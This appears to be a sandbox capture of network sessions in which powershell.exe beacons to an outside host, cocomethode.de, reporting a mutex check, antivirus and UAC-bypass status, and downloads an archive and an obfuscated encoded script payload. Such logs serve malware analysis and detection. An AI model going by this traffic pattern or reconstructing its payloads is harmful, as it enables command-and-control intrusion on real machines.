2024-12-11 11:58:22 UTC	1369	IN	Data Raw: 56 44 69 42 64 56 48 7b 50 6f 71 6d 56 44 30 30 56 6a 65 35 62 31 6d 71 50 59 53 59 53 7b 6d 34 54 7b 4b 56 4f 54 6d 44 53 54 34 45 5b 7b 43 4d 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 30 4b 70 58 6b 48 79 65 47 6d 59 4f 56 75 4b 53 45 43 6f 52 56 6a 34 60 6a 6d 45 52 56 6d 53 64 6f 43 6b 57 6b 4b 72 65 57 71 49 4e 55 4f 6b 64 54 4b 6b 57 55 4f 72 64 6c 53 49 57 6f 53 4f 64 6a 71 6b 56 6c 31 34 60 33 47 49 57 6f 4f 6b 53 30 5b 34 55 46 30 56 4f 47 71 55 52 56 6d 4b 60 6f 4f 4e 50 33 6d 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 73 56 55 48 79 60 30 53 75 53 6f 53 60 54 31 44 34 52 54 4f 4a 60 6c 4b 59 54 59 57 60 56 46 69 72 52 56 71 7b 55 6a 4f 6f 4c 44 75 4b 50 31 47 Data Ascii: VDiBdVH{PoqmVD00Vje5b1mqPYSYS{m4T{KVOTmDST4E[{CMRTOC[1mEPVeKP1GoRTOC[1mEPVeKP0KpXkHyeGmYOVuKSECoRVj4`jmERVmSdoCkWkKreWqINUOkdTKkWUOrdlSIWoSOdjqkVl14`3GIWoOkS0[4UF0VOGqURVmK`oONP3mC[1mEPVeKP1GoRTOC[1mEPVeKP1GsVUHy`0SuSoS`T1D4RTOJ`lKYTYW`VFirRVq{UjOoLDuKP1G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.11.20	49745	104.21.1.51	443	6736	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:58:23 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bab506f6a812b20cbc872b7a211556734d HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 85
2024-12-11 11:58:23 UTC	85	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 4a 6f 62 20 69 73 20 72 75 6e 6e 69 6e 67 2e 20 4a 6f 62 20 49 44 3a 20 31 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 43 68 65 63 6b 20 6d 75 74 65 78 74 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Job is running. Job ID: 1\"", "\"Check mutext\"", "----------"]
2024-12-11 11:58:23 UTC	1185	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:58:23 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Gxa2wPRBMutlH1RndzTytRZjgbGY9MFZor8ESxLK0TsEZFVLprEtY2Nd7R8w%2FrwpJcFco%2F%2FyxIik9tGT7OJVHxh%2BmYVtyzFNoDRtPalizuD2q25Q%2FRdZlB9T0cBY%2F6Eyt8Zgu8rGv0rJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=15566&min_rtt=1212&rtt_var=22692&sent=159&recv=157&lost=0&retrans=0&sent_bytes=71616&recv_bytes=78857&delivery_rate=13549883&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f054d756fbc6785-ATL server-timing: cfL4;desc="?proto=TCP&rtt=49&min_rtt=48&rtt_var=20&sent=5&recv=7&lost=0&retrans=0&sent_bytes=984&recv_bytes=1495&delivery_rate=1129017241&cwnd=145&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=47&min_rtt=47&rtt_var=23&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=624&delivery_rate=0&cwnd=72&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:58:23 UTC	220	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 34 31 35 34 26 6d 69 6e 5f 72 74 74 3d 31 31 34 31 31 35 26 72 74 74 5f 76 61 72 3d 32 34 31 34 36 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 38 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 35 26 72 65 63 76 5f 62 79 74 65 73 3d 31 30 32 39 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 33 34 39 30 26 63 77 6e 64 3d 32 35 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 38 37 33 38 34 31 31 66 62 61 33 63 61 30 30 39 26 74 73 3d 35 38 35 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=114154&min_rtt=114115&rtt_var=24146&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1029&delivery_rate=33490&cwnd=252&unsent_bytes=0&cid=8738411fba3ca009&ts=585&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.11.20	49746	104.21.1.51	443	6736	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:58:24 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bab506f6a812b20cbc872b7a211556734d HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 86
2024-12-11 11:58:24 UTC	86	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 4d 75 74 65 78 20 69 73 20 6e 6f 74 20 6c 6f 63 6b 65 64 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 41 56 20 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Mutex is not locked\"", "\"AV Windows Defender\"", "----------"]
2024-12-11 11:58:25 UTC	1171	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:58:25 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fEulehRmvPUo8KVR3iHP7GS58QogrMieiHQ8sddRcTv7wjGNG7FG17LXTwxQDExhFBdG7WpB6sCvyfnJYA46DqAL1J8ScYYmw0gp5zdfVEfn0NfjLH8Um414B5vyF8hNfpEKMfaaxi%2F6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=49915&min_rtt=1313&rtt_var=12420&sent=13917&recv=5980&lost=0&retrans=8&sent_bytes=19907895&recv_bytes=101873&delivery_rate=47611739&cwnd=240&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f054d7afa21bd12-ATL server-timing: cfL4;desc="?proto=TCP&rtt=51&min_rtt=51&rtt_var=25&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=632&delivery_rate=0&cwnd=205&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=49&min_rtt=49&rtt_var=24&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=625&delivery_rate=0&cwnd=111&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:58:25 UTC	220	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 38 32 31 26 6d 69 6e 5f 72 74 74 3d 31 31 33 37 37 35 26 72 74 74 5f 76 61 72 3d 32 34 30 37 32 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 38 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 36 26 72 65 63 76 5f 62 79 74 65 73 3d 31 30 33 30 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 33 36 32 35 26 63 77 6e 64 3d 32 35 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 65 35 66 31 30 66 30 30 34 35 33 37 34 66 35 26 74 73 3d 38 34 35 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=113821&min_rtt=113775&rtt_var=24072&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1030&delivery_rate=33625&cwnd=252&unsent_bytes=0&cid=0e5f10f0045374f5&ts=845&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.11.20	49747	104.21.1.51	443	4152	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:58:25 UTC	389	OUT	GET /file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bb2478574061f4b658389b7a7e3af43a85c5ecfdccd06bf7c5b886bdbae4ac14dbe3d1d4a64907f793a1a16c53af422f92d9f2cb7175cf67cfe6348ff0758c34fdc8e2257e8a3d657133dc4ebec8eb034 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Connection: Keep-Alive
2024-12-11 11:58:25 UTC	1297	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:58:25 GMT Content-Type: application/octet-stream Content-Length: 4613 Connection: close content-disposition: attachment; filename=file; filename*=UTF-8''file CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ILrhS4KxWTV3gIY5vyGCcKew%2F%2BjRftV7zFxSQ7fw6AYKgpPMG50rW4%2FyXhwqfmLcznq%2BPGaHrn%2FvC26HislRCkqzfIboyA%2F3tzhoAbnrpqtMgtuCvZTQLaxyFNi2b57%2BZFIHVaSp4V8w"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=52055&min_rtt=1313&rtt_var=10344&sent=13921&recv=5984&lost=0&retrans=8&sent_bytes=19909466&recv_bytes=103558&delivery_rate=47611739&cwnd=240&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f054d7ff9bd4513-ATL server-timing: cfL4;desc="?proto=TCP&rtt=41&min_rtt=41&rtt_var=20&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=640&delivery_rate=0&cwnd=243&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=43&min_rtt=43&rtt_var=21&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=625&delivery_rate=0&cwnd=226&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:58:25 UTC	417	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 37 26 6d 69 6e 5f 72 74 74 3d 34 37 26 72 74 74 5f 76 61 72 3d 32 33 26 73 65 6e 74 3d 31 26 72 65 63 76 3d 33 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 72 65 63 76 5f 62 79 74 65 73 3d 36 32 30 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 30 26 63 77 6e 64 3d 31 31 37 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 39 39 36 26 6d 69 6e 5f 72 74 74 3d 31 31 Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=47&min_rtt=47&rtt_var=23&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=620&delivery_rate=0&cwnd=117&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=113996&min_rtt=11
2024-12-11 11:58:25 UTC	1024	IN	Data Raw: 50 4b 03 04 14 00 08 00 08 00 17 7e 7c 59 00 00 00 00 00 00 00 00 00 00 00 00 0b 00 00 00 5f 72 65 6c 73 2f 2e 72 65 6c 73 8d 8f 3b 0e c2 30 10 44 af 62 6d 4f 36 50 20 84 e2 a4 41 48 69 a3 70 00 cb de 38 51 e2 8f 6c f3 bb 3d 2e 28 08 a2 a0 1c ed cc db 99 aa 79 98 85 dd 28 c4 c9 59 0e db a2 04 46 56 3a 35 59 cd e1 d2 9f 37 07 68 ea aa a3 45 a4 ec 88 e3 e4 23 cb 11 1b 39 8c 29 f9 23 62 94 23 19 11 0b e7 c9 e6 cb e0 82 11 29 cb a0 d1 0b 39 0b 4d b8 2b cb 3d 86 4f 06 ac 99 ac 17 41 53 e2 70 77 41 a1 72 f2 6a c8 a6 22 e3 80 b5 8a 83 9f 75 d7 aa dc ad 7f 7a fa e7 b3 1b 86 49 d2 e9 0d fa 51 e0 cb 01 0c eb 0a 57 33 eb 17 50 4b 07 08 4f 8b dd 3c a6 00 00 00 1c 01 00 00 50 4b 03 04 14 00 08 00 08 00 17 7e 7c 59 00 00 00 00 00 00 00 00 00 00 00 00 1c 00 00 00 77 6f Data Ascii: PK~\|Y_rels/.rels;0DbmO6P AHip8Ql=.(y(YFV:5Y7hE#9)#b#)9M+=OASpwArj"uzIQW3PKO<PK~\|Ywo
2024-12-11 11:58:25 UTC	1369	IN	Data Raw: ee b3 e7 e7 05 ce 90 4d d9 b3 97 df c7 df 1a 54 b5 35 29 0b 76 f2 9a 3b 28 19 ce 0c af 45 1b 42 0b 60 68 87 30 b8 c7 2b 12 8d 14 38 1d 97 e2 f8 a6 30 9c a5 fd 07 d4 18 df 9c a9 71 b5 34 c1 33 5f 41 6f 57 5c e4 af 7c 06 e1 91 41 f8 19 79 c7 e2 3f b6 c2 c9 4f d7 d6 6c 69 4e a5 5c 4b cf 15 ab b9 bd 03 4f 57 44 32 7d a3 1d cc d1 6b b6 06 af c6 7e 22 77 09 6b 9c 63 75 50 5e 36 0a 18 62 2e 60 1b 09 6e c6 3e 04 cb 3c f0 9a 49 c7 ca 56 f3 5a 8a 82 21 7a b7 68 3e 4f 7d 25 f5 1d 0e 50 44 fa c3 ee b0 07 37 35 c4 81 1e ca 19 c3 f9 b9 06 04 8a 53 7e a5 6e 59 69 e5 86 26 44 53 c5 a9 f8 ca 9a b0 ae 58 85 f0 9e 0e d9 74 e7 e9 f0 72 03 d6 4b 17 df a2 b7 e7 bb e1 b6 dd cb 2b 6c 46 77 f1 59 7c 35 7c ef 38 f6 e3 be 12 da f6 5f 0c 4e 23 38 9c 2c b9 54 aa 9d b1 5f 4c 40 c1 28 Data Ascii: MT5)v;(EB`h0+80q43_AoW\\|Ay?OliN\KOWD2}k~"wkcuP^6b.`n><IVZ!zh>O}%PD75S~nYi&DSXtrK+lFwY\|5\|8_N#8,T_L@(
2024-12-11 11:58:25 UTC	1369	IN	Data Raw: f2 b7 d1 e0 ce 04 9a 91 f8 24 48 0c cd d4 9b 29 a1 71 cf a1 8a 3c 45 7f b8 5a d9 fb 85 de 98 7e 13 47 83 ed c8 09 c4 3e e8 79 da 10 82 a2 93 3a 98 e0 90 92 fb 05 cc 96 b6 eb ba 3b 9c 6a c7 91 77 da 6c d1 bf 5d c7 15 d2 be 5e d2 41 8e 11 0d de 58 2e bc 14 90 19 31 33 e2 48 a4 3d 56 3d b4 80 5f 83 b4 31 01 36 f3 60 c6 df d1 f1 f7 f7 5d e9 d8 8c be 8c be a3 e7 65 78 0a 9b a3 c5 f3 f2 cf ac c5 a7 1c 99 45 fb 6a c6 14 95 38 30 c4 f6 1b 84 8a be ec 52 b4 b3 34 9a 68 5c dc 31 0b c2 d8 92 3a b1 41 6b 7a bf 58 e1 31 25 6e ef 33 d2 4e 70 0a 2b a0 b2 49 29 7a 32 18 73 57 7a 31 ed d3 8d c9 63 54 98 39 56 66 4e b9 de d9 30 cb 86 d9 38 a4 3d 56 d5 f4 6e e8 a9 3d 96 bb 9a f9 32 83 f2 d8 a0 7c ab a7 25 34 c8 57 77 ff 0f 9d c5 fe ea 47 79 0f aa 18 26 9f 15 b4 c9 68 97 58 Data Ascii: $H)q<EZ~G>y:;jwl]^AX.13H=V=_16`]exEj80R4h\1:AkzX1%n3Np+I)z2sWz1cT9VfN08=Vn=2\|%4WwGy&hX
2024-12-11 11:58:25 UTC	851	IN	Data Raw: 0d 8c 41 0e c2 20 10 00 bf 42 f6 6e 41 0f c6 90 d2 de 7c 81 3e 80 c0 da 92 c0 6e c3 12 b1 bf 97 e3 64 32 33 af bf 92 d5 17 ab 24 26 07 d7 c9 80 42 0a 1c 13 6d 0e de af e7 e5 01 4a 9a a7 e8 33 13 3a 38 51 60 5d e6 6e a5 9d 19 45 8d 9c c4 76 07 7b 6b 87 d5 5a c2 8e c5 cb c4 07 d2 70 1f ae c5 b7 81 75 d3 9d 6b 3c 2a 07 14 19 f7 92 f5 cd 98 bb 2e 3e 11 28 bd fc 01 50 4b 07 08 af 53 c8 41 79 00 00 00 8a 00 00 00 50 4b 03 04 14 00 08 00 08 00 17 7e 7c 59 00 00 00 00 00 00 00 00 00 00 00 00 13 00 00 00 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c ad 92 bd 4e c4 30 10 84 5f c5 72 8b 62 07 0a 84 50 92 2b f8 29 81 e2 78 00 63 6f 12 eb fc 27 af 73 dc bd 3d 9b 04 a5 40 48 08 e9 4a 7b 66 f6 1b ad b6 d9 9d bc 63 47 c8 68 63 68 f9 b5 a8 39 83 a0 a3 b1 61 68 Data Ascii: A BnA\|>nd23$&BmJ3:8Q`]nEv{kZpuk<*.>(PKSAyPK~\|Y[Content_Types].xmlN0_rbP+)xco's=@HJ{fcGhch9ah

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.11.20	49748	104.21.1.51	443	6736	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:58:25 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bab506f6a812b20cbc872b7a211556734d HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 62
2024-12-11 11:58:25 UTC	62	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 30 22 2c 0d 0a 20 20 20 20 22 5c 22 6b 6f 20 63 61 6e 20 62 79 70 61 73 73 20 75 61 63 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "0", "\"ko can bypass uac\"", "----------"]
2024-12-11 11:58:25 UTC	1200	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:58:25 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ySNIG20Gm6etEw9cy0KA8IN9vArcyiFcr6faaquojWPRCaYEjepB7ERNmw%2B%2B%2FavtlRDpHdJb0%2FXgXwBE4ixKmmaXwMqPzYVNXcJixnGTlav0p35rkMBJnQbpmTE436MTl%2BTYPV%2FkoTsw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2157&min_rtt=1192&rtt_var=412&sent=2920&recv=1333&lost=0&retrans=0&sent_bytes=4018497&recv_bytes=81697&delivery_rate=29006622&cwnd=256&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f054d81ebcd44ef-ATL server-timing: cfL4;desc="?proto=TCP&rtt=50&min_rtt=48&rtt_var=17&sent=8&recv=10&lost=0&retrans=0&sent_bytes=1980&recv_bytes=2117&delivery_rate=1190600000&cwnd=146&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=50&min_rtt=47&rtt_var=24&sent=5&recv=7&lost=0&retrans=0&sent_bytes=1192&recv_bytes=1232&delivery_rate=884905405&cwnd=73&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:58:25 UTC	417	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 31 26 6d 69 6e 5f 72 74 74 3d 34 31 26 72 74 74 5f 76 61 72 3d 32 30 26 73 65 6e 74 3d 32 26 72 65 63 76 3d 34 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 72 65 63 76 5f 62 79 74 65 73 3d 36 30 31 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 30 26 63 77 6e 64 3d 32 31 39 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 34 30 34 34 26 6d 69 6e 5f 72 74 74 3d 31 31 Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=41&min_rtt=41&rtt_var=20&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=601&delivery_rate=0&cwnd=219&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=114044&min_rtt=11

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.11.20	49752	104.21.1.51	443	824	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:58:29 UTC	389	OUT	GET /file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee5181fc72e5e8a3af5de84a2efdf46556ce4b18f9a9058f02baeebba47957ff9a00fd3cbdf5afdb4554ef95d156bde153a4128333e118ea47d1e765bd042ad4fe0ce742b114df2225de5259d39230 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Connection: Keep-Alive
2024-12-11 11:58:29 UTC	1328	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:58:29 GMT Content-Type: application/octet-stream Content-Length: 12122 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Jw2b%2BttGA7Hq%2B1v%2Fizglm2noXaUBECWhopzcfr8Xz45MT0PWcAl7jHf3x4KvbbjQxBj%2FL02Qfe0Xnh5hSQB05mwa9N0AV9PGy%2BUT1X%2BJVy9oxDo0%2Fqgf9KoF9w0Pvq8n%2ByAG%2BlOZvmL1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=37054&min_rtt=1313&rtt_var=9483&sent=13942&recv=5997&lost=0&retrans=8&sent_bytes=19925341&recv_bytes=108445&delivery_rate=47611739&cwnd=242&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f054d9adc5d4569-ATL server-timing: cfL4;desc="?proto=TCP&rtt=43&min_rtt=41&rtt_var=19&sent=3&recv=5&lost=0&retrans=0&sent_bytes=5720&recv_bytes=1267&delivery_rate=1129017241&cwnd=244&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=45&min_rtt=43&rtt_var=22&sent=3&recv=5&lost=0&retrans=0&sent_bytes=5917&recv_bytes=1245&delivery_rate=992166666&cwnd=227&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:58:29 UTC	220	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 38 32 32 26 6d 69 6e 5f 72 74 74 3d 31 31 33 37 34 36 26 72 74 74 5f 76 61 72 3d 32 34 31 32 34 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 38 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 36 26 72 65 63 76 5f 62 79 74 65 73 3d 31 30 30 33 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 33 35 38 30 26 63 77 6e 64 3d 32 35 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 39 36 64 31 62 38 61 63 30 33 37 62 66 36 32 62 26 74 73 3d 36 31 32 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=113822&min_rtt=113746&rtt_var=24124&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1003&delivery_rate=33580&cwnd=252&unsent_bytes=0&cid=96d1b8ac037bf62b&ts=612&x=0"
2024-12-11 11:58:29 UTC	1190	IN	Data Raw: 25 74 79 78 6c 6d 72 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 56 6d 5b 42 60 46 53 49 5b 33 65 4c 57 56 76 76 56 6d 62 79 57 56 57 58 50 6c 79 4b 53 57 71 76 58 6a 65 57 5b 31 79 57 56 6f 5b 6b 63 54 34 72 52 54 69 32 5b 30 50 7b 57 6b 43 4c 57 55 54 79 58 6a 65 32 55 6a 4f 6f 4c 44 75 4b 50 31 47 6f 52 54 4f 4f 5b 30 50 7b 57 6b 43 6b 52 47 58 76 52 54 69 52 63 30 71 55 50 6c 30 69 57 32 69 72 52 54 69 42 60 46 53 49 5b 31 34 45 60 54 47 6f 52 54 4f 42 56 47 5b 57 4e 54 71 54 57 6a 34 5b 54 6d 54 34 56 44 6d 45 52 6a 5b 68 56 44 48 76 5b 57 4f 42 63 56 47 59 64 46 79 Data Ascii: %tyxlmr<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#Vm[B`FSI[3eLWVvvVmbyWVWXPlyKSWqvXjeW[1yWVo[kcT4rRTi2[0P{WkCLWUTyXje2UjOoLDuKP1GoRTOO[0P{WkCkRGXvRTiRc0qUPl0iW2irRTiB`FSI[14E`TGoRTOBVG[WNTqTWj4[TmT4VDmERj[hVDHv[WOBcVGYdFy
